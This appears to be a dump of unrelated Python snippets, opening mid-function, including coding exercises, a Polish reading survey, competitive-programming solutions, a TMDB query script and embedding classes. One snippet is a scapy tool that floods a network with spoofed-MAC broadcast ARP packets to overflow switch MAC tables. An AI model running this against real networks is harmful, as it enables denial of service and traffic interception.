    if u[0] == ')' or u[-1] == '(':
        result += '('
        result += merge(mu, mv)
        result += ')'
        for i in range(1, len(u)-1):
            if u[i] == '(':
                result += ')'
            else:
                result += '('
    else:
        result += u
        result += merge(mu, mv)

    return result

def separate(s):
    u, v = '', ''
    idx = {
        ')': 0,
        '(': 1,
        }
    cnt = [0, 0]
    flag = False
    for i in s:
        if flag:
            v += i
            continue

        u += i
        cnt[idx[i]] += 1
        if cnt[0] == cnt[1]:
            flag = True

    return (u, v)

def solution(p):
    answer = ''
    u, v = separate(p)
    answer = merge(u, v)
    return answer

print(solution(')('))
print(solution("(()())()"))
print(solution("()))((()"))


#zad1
a = "Python 2023"
b = "Python 2023"
c = "Python 2023"
print(a == b)
print(b == c)
print(type(a))
print(type(b))
print(type(c))
print(hex(id(a)))
print(hex(id(b)))
print(hex(id(c)))

c = "Java 11"
print(b == c)
print(type(c))
print(hex(id(c)))

#zad2
#num_1 = int(input("Enter first number: "))
#num_2 = int(input("Enter second number: "))

#print("+ -> adding", "- -> substraction", "* -> multiplication", "/ -> division", sep="\n")
#operator = input("Enter operator: ")

#if operator == "+":
#    print(num_1 + num_2)
#elif operator == "-":
#    print(num_1 - num_2)
#elif operator == "*":
#    print(num_1 * num_2)
#elif operator == "/":
#    print(num_1 / num_2)
#else:
#    print("Error")

#zad3
answer_count = 0
questions = ["Jak masz na imie i nazwisko:",
             "Najczęstszym sposobem spędzania wolnego czasu jest dla Ciebie: ",
             "W jakich okolicznościach czytasz książki najczęściej?",
             "Jeżeli spędzasz czas wolny czytając książki, jaki jest główny powód takiego wyboru?",
             "Po książki w jakiej formie sięgasz najczęściej?",
             "Ile książek czytasz średnio w ciągu roku?",
             "Jak często średnio czytasz książki?",
             "Po jakie gatunki książek sięgasz najczęściej?"]

dict = {questions[0]:[],
        questions[1]:[],
        questions[2]:[],
        questions[3]:[],
        questions[4]:[],
        questions[5]:[],
        questions[6]:[],
        questions[7]:[]}

dict[questions[0]].append(input("Podaj odpowiedz: "))

print(questions[1], "Można udzielić jednej odpowiedzi", "Oglądanie telewizji/filmów/seriali", "Słuchanie muzyki", "Podrożowanie", sep="\n")
dict[questions[1]].append(input("Podaj odpowiedz: "))

print(questions[2], "Można zaznaczyć kilka odpowiedzi", "Podczas podróży", "W czasie wolnym (po pracy, na urlopie)", "podczas pracy/nauki (to ich element)", sep="\n")
answer_count = int(input("Ile odpowiedzi chcesz podać: "))
if(answer_count == 0):
    print("Proszę zaznaczyć chociaż")
    answer_count = int(input("Ile odpowiedzi chcesz podać: "))
for i in range(answer_count):
    dict[questions[2]].append(input("Podaj odpowiedz: "))

print(questions[3], "Można udzielić jednej odpowiedzi", "Chęć poszerzenia wiedzy", "Czytanie mnie relaksuje/odpręża", "Fakt, że czytanie jest modne", sep="\n")
dict[questions[3]].append(input("Podaj odpowiedz: "))

print(questions[4], "Można udzielić jednej odpowiedzi", "Papierowej (tradycyjnej)", "e-booki (książki elektroniczne) na komputerze", "e-booki na answerslecie/telefonie", sep="\n")
dict[questions[4]].append(input("Podaj odpowiedz: "))

print(questions[5], "Można udzielić jednej odpowiedzi", "0", "Żadnej w całości - jedynie fragmenty", "1", sep="\n")
dict[questions[5]].append(input("Podaj odpowiedz: "))

print(questions[6], "Można udzielić jednej odpowiedzi", "Codziennie", "Raz w tygodniu", "Raz w miesiącu", sep="\n")
dict[questions[6]].append(input("Podaj odpowiedz: "))

print(questions[7], "Można zaznaczyć kilka odpowiedzi", "Kryminały/thrillery", "Fantastykę", "Historyczne", sep="\n")
answer_count = int(input("Ile odpowiedzi chcesz podać: "))
for i in range(answer_count):
    dict[questions[7]].append(input("Podaj odpowiedz: "))

for k, v in dict.items():
    for i in v:
        print("Pytanie: " + k + "\n", "Odpowiedź: " + i)


nn=input()
nn=nn.split()
st=int(nn[0])
en=int(nn[1])
for num in range(st,en+1):
  su=0
  temp=num
  while temp>0:
    di=temp%10
    su=su+di**3
    temp//=10
  if(su==num):
    print(num,end=' ')


# Author: Shauray

import sys
input = sys.stdin.readline

def take_int():
    return(int(input()))
def take_list():
    return(list(map(int,input().split())))
def take_string():
    s = input()
    return(list(s[:len(s) - 1]))
def take_int_list():
    return(list(map(int,input().split())))

def solve():
    x = take_int()
    li = take_int_list()

    max_list = sorted(li,reverse=True)
    maxi = [0]
    mini = [0]
    buffer_state = []
    min_list = {}

    for i in range(len(max_list)):
        if abs(li[i]) in min_list:
            min_list[abs(li[i])] += 1
        else:
            min_list[abs(li[i])] = 1
        if -max_list[i] in buffer_state:
            maxi.append(maxi[-1]-1)
        else:
            buffer_state.append(max_list[i])
            maxi.append(maxi[-1]+1)

    minimum = sorted(min_list.items(), key=lambda x:x[1], reverse=True)

    for i in minimum:
        if i[1] == 2:
            mini.append(1)
            mini.append(0)

        else:
            mini.append(mini[-1]+1)

    for i in maxi[1:]:
        print(i,end = " ")

    print("")
    for i in mini[1:]:
        print(i,end = " ")
    print("")

if __name__ == "__main__":
    n = take_int()
    while(n):
        solve()
        n-=1


import sys
from tmdb_dal import acted_together
from errors import invalid_actor_syntax, invalid_actor_argument
if len(sys.argv) != 3:
    raise Exception(invalid_actor_argument)
    exit(1)

first_cast_id = sys.argv[1]
second_cast_id = sys.argv[2]

result = acted_together(first_cast_id, second_cast_id)
if not result:
    raise Exception(invalid_actor_syntax)
print(
    f"Actors {first_cast_id} and {second_cast_id} have appeared together in {len(result)} movies:\n")

for entry in result:
    print(f'{entry["m"]["title"]}\n')


import logging

from pathlib import Path

from embeddingCreator.EmbeddingContainer import RequirementEmbeddingContainer
from embeddingCreator.EmbeddingCreator import EmbeddingCreator
from utility import Util

logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)

PREPROCESSED_REQ_OUTPUT_DIR = Path(__file__).parent.parent / "output/Preprocessed_Req"

class RequirementEmbeddingCreator(EmbeddingCreator):

    def __init__(self, requirements_word_chooser, preprocessor, wordemb_creator,
                  tokenizer, preprocessed_token_output_directory=PREPROCESSED_REQ_OUTPUT_DIR):
        super().__init__(preprocessor, wordemb_creator, tokenizer, preprocessed_token_output_directory)
        self._requirements_word_chooser = requirements_word_chooser

class UCEmbeddingCreator(RequirementEmbeddingCreator):

    def _create_embeddings(self, file_representation):
        chosen_word_groups = self._requirements_word_chooser.choose_words_from(file_representation)
        chosen_word_groups_embeddings = []
        requirement_element_vectors = []
        for word_group in chosen_word_groups:
            word_embeddings = self._create_word_embeddings_from_word_list(word_group)
            chosen_word_groups_embeddings.append(word_embeddings)
            requirement_element_vectors.append(Util.create_averaged_vector(word_embeddings))

        file_vector = Util.create_averaged_vector([word for word_group in chosen_word_groups for word in word_group])  # flat average over all (nested) word embeddings in chosen_word_groups

        return RequirementEmbeddingContainer(file_representation.file_path, file_vector, requirement_element_vectors)

class MockUCEmbeddingCreator(RequirementEmbeddingCreator):

    def _create_embeddings(self, file_representation):
        chosen_word_groups = self._requirements_word_chooser.choose_words_from(file_representation)
        file_vector = [word for word_group in chosen_word_groups for word in word_group]  # flat list over all (nested) words in chosen_word_groups

        return RequirementEmbeddingContainer(file_representation.file_path, file_vector, chosen_word_groups)


from scapy.all import *
from func.spoof_addr import spoof_addr
from func.random_mac import random_mac
from time import sleep
import threading

def mactableoverflow(THREAD_COUNT,quiet,terminal = None):
    all_threads=[]
    if terminal == None:
        print("[+] Overflowing MAC table...")
    else:
        terminal.configure(text=terminal.cget("text")+'\n[+] Overflowing MAC table')
    for i in range(int(THREAD_COUNT)):
        t = threading.Thread(target=__send_macs,args=(quiet,terminal))
        t.daemon=True
        all_threads.append(t)

    for i in all_threads:
        i.start()

    all_threads[0].join()

def __send_macs(quiet,terminal):
    spoofaddr=spoof_addr(terminal=terminal)
    packet = Ether(src=random_mac(),dst='ff:ff:ff:ff:ff:ff')/ARP(op=2,psrc=spoofaddr,hwdst='ff:ff:ff:ff:ff:ff')
    while True:
        send(packet,verbose=0)
        if not quiet:
            if terminal == None:
                print("[+] Packet successfully sent\n[+] Packet: "+packet.summary())
            else:
                terminal.configure(text=terminal.cget("text")+'\n[+] Packet successfully sent \n[+] Packet: '+packet.summary())


from .private._curry2 import _curry2
from .private._dispatchable import _dispatchable
from .private._xfindIndex import _xfindIndex

def inner_findIndex(fn, arr):
  idx = 0
  length = len(arr)
  while idx < length:
    if fn(arr[idx]):
      return idx
    idx += 1
  return -1

findIndex = _curry2(_dispatchable([], _xfindIndex, inner_findIndex))


word = input()
dic = {}
for i in word:
    if dic.get(i.upper(), 0) == 0:
        dic[i.upper()] = 1
    else:
        dic[i.upper()] += 1
res = sorted(dic.items(), key = lambda x : x[1])
if len(res) > 1 and res[-1][1] == res[-2][1]:
    print("?")
else:
    print(res[-1][0])